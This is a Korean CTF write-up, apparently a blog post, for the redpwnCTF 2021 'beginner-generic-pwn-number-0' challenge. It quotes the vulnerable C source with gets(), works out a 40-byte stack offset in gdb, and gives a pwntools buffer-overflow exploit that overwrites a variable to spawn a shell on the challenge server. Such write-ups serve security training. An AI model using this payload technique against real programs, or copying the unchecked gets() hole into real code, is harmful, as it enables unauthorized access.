redpwnCTF의 beginner-generic-pwn-number-0 문제다. 바이너리와 바이너리의 소스코드가 주어져 있다.
바이너리를 실행시키면 여러 문구들이 출력된 후 사용자의 입력을 받는다. 입력을 받은 후에는 아무 동작 없이 프로그램이 종료된다.
보호 기법으로는 nx bit만 걸려있는 것을 알 수 있다.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
const char *inspirational_messages[] = {
"\"𝘭𝘦𝘵𝘴 𝘣𝘳𝘦𝘢𝘬 𝘵𝘩𝘦 𝘵𝘳𝘢𝘥𝘪𝘵𝘪𝘰𝘯 𝘰𝘧 𝘭𝘢𝘴𝘵 𝘮𝘪𝘯𝘶𝘵𝘦 𝘤𝘩𝘢𝘭𝘭 𝘸𝘳𝘪𝘵𝘪𝘯𝘨\"",
"\"𝘱𝘭𝘦𝘢𝘴𝘦 𝘸𝘳𝘪𝘵𝘦 𝘢 𝘱𝘸𝘯 𝘴𝘰𝘮𝘦𝘵𝘪𝘮𝘦 𝘵𝘩𝘪𝘴 𝘸𝘦𝘦𝘬\"",
"\"𝘮𝘰𝘳𝘦 𝘵𝘩𝘢𝘯 1 𝘸𝘦𝘦𝘬 𝘣𝘦𝘧𝘰𝘳𝘦 𝘵𝘩𝘦 𝘤𝘰𝘮𝘱𝘦𝘵𝘪𝘵𝘪𝘰𝘯\"",
};
int main(void)
{
srand(time(0));
long inspirational_message_index = rand() % (sizeof(inspirational_messages) / sizeof(char *));
char heartfelt_message[32];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
puts(inspirational_messages[inspirational_message_index]);
puts("rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!");
puts("can you write me a heartfelt message to cheer me up? :(");
gets(heartfelt_message); # vulnerability
if(inspirational_message_index == -1) {
system("/bin/sh");
}
}
위는 주어진 바이너리의 소스코드다. rand 함수를 사용해 랜덤한 수를 inspirational_message_index에 넣은 후, 마지막 부분에 이 값이 -1이라면 쉘을 얻게 해 주는데 사실상 몇 번을 실행시켜도 쉘을 얻을 수 없다는 것과 마찬가지다.
보면 입력을 gets 함수를 통해 받으므로 buffer overflow가 발생할 수 있다. 그렇다면 입력 값이 저장되는 버퍼와 랜덤한 값이 저장되는 변수 사이의 거리를 구한 후 bof를 통해 랜덤 값이 저장되는 변수의 값을 -1로 변조한다면 쉘을 얻을 수 있을 것이다.
gdb를 통해 입력 값이 저장되는 주소와 랜덤 값이 저장된 주소를 구했다. 랜덤 값이 저장된 주소는 조건문에 bp를 걸고 구했다.
buffer : 0x7fffffffdc70
inspirational_message_index : 0x7fffffffdc98
따라서 두 변수 사이의 거리는 40byte인 것을 알 수 있다. 그렇다면 40byte의 더미 값 + 64bit little endian으로 해킹한 -1 값을 입력 값으로 준다면 inspirational_message_index의 값이 -1로 변조돼서 쉘을 얻게 될 것이다.
from pwn import *
#p = process('./beginner-generic-pwn-number-0')
p = remote('mc.ax', 31199)
payload = b'A'*40 + p64(0xffffffffffffffff)
p.sendlineafter('can you write me a heartfelt message to cheer me up? :(', payload)
p.interactive()
flag{im-feeling-a-lot-better-but-rob-still-doesnt-pay-me}
'CTF' 카테고리의 다른 글
[redpwnCTF 2021] rev - wstrings (0) | 2021.07.13 |
---|---|
[redpwnCTF 2021] pwn - ret2generic-flag-reader (0) | 2021.07.13 |
[redpwnCTF 2021] misc problems (0) | 2021.07.12 |
[Cyberthreatforce CTF] pwn - Bof_1 (0) | 2021.07.05 |
[HackASet 2021] iq (0) | 2021.06.27 |